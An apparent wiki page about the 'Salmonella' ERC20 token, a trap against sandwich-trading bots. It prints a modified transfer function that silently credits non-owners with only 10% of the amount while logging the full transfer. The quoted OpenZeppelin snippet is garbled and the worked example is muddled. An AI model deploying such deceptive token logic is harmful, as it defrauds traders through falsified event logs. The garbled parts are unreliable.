# Salmonella Contract

### Wrecking sandwich traders for fun and profit

The premise of the Salmonella contract is very simple. It’s a regular ERC20 token, which behaves exactly like any other ERC20 token in typical use cases. However, it has some special logic to detect when anyone other than the specified owner is transacting it, and in these situations it only returns 10% of the specified amount - despite emitting event logs which match a trade of the full amount.

Source: <https://github.com/Defi-Cartel/salmonella>

You can set the contract owner, and the change is in the balance sender function.

### ERC20 Contract

`function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances [sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); } _balances[sender] = senderBalance - amount; _balances [recipient] += amount; emit Transfer(sender, recipient, amount); }`

Source (line 211-222): <https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol>

### Salmonella Contract

```
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
  require(sender != address(0), "ERC20: transfer from the zero address");
  require(recipient != address(0), "ERC20: transfer to the zero address");
  uint256 senderBalance = _balances[sender];
  require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
  if (sender == ownerA || sender == ownerB) {
    _balances[sender] = senderBalance - amount;
    _balances[recipient] += amount;
  } else {
    _balances[sender] = senderBalance - amount;
    uint256 trapAmount = (amount * 10) / 100;
    _balances[recipient] += trapAmount;
  }
  emit Transfer(sender, recipient, amount);
}
```

Source: <https://github.com/Defi-Cartel/salmonella>

## Difference

Added `uint256 trapAmount = (amount * 10) / 100;` in the balance function, which sends only 10% out of 100% of the price bought, and 90% of the tokens will get burned.

## Example

You want to swap 100 UNI for DAI\
You send 100 UNI to Uniswap Poll (contract)\
100 UNI = 4000 DAI\
but with the Salmonella contract, it takes 90% of the DAI that was supposed to be sent to you will get burned and you receive 40 DAI

### Sandwich attacks

### Further reading

* Paper on sandwich attacks\
  Source: <https://medium.com/coinmonks/demystify-the-dark-forest-on-ethereum-sandwich-attacks-5a3aec9fa33e>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://nft-standards.gitbook.io/nft-standards-wiki/nft-security/salmonella-contract.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
